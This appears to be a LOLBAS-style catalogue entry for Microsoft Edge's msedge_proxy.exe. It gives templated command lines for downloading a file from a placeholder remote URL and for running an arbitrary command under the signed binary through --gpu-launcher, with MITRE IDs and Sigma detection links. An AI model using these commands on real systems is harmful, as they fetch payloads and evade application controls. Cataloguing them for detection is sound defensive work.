LOL · Binary

msedge_proxy.exe

2 techniquesWindowsLOLBASGPL-3.0

Download

File DownloadWindows

msedge_proxy will download malicious file.

Use Download file from the internet

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml
Refs: lolbas-project.github.io/lolbas/Binaries/msedge_proxy/

Execute

ExecutionWindows

msedge_proxy.exe will execute file in the background

Use Executes a process under a trusted Microsoft signed binary

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Execute
MITRE: T1218.015
Detection: Sigma: github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml
Refs: lolbas-project.github.io/lolbas/Binaries/msedge_proxy/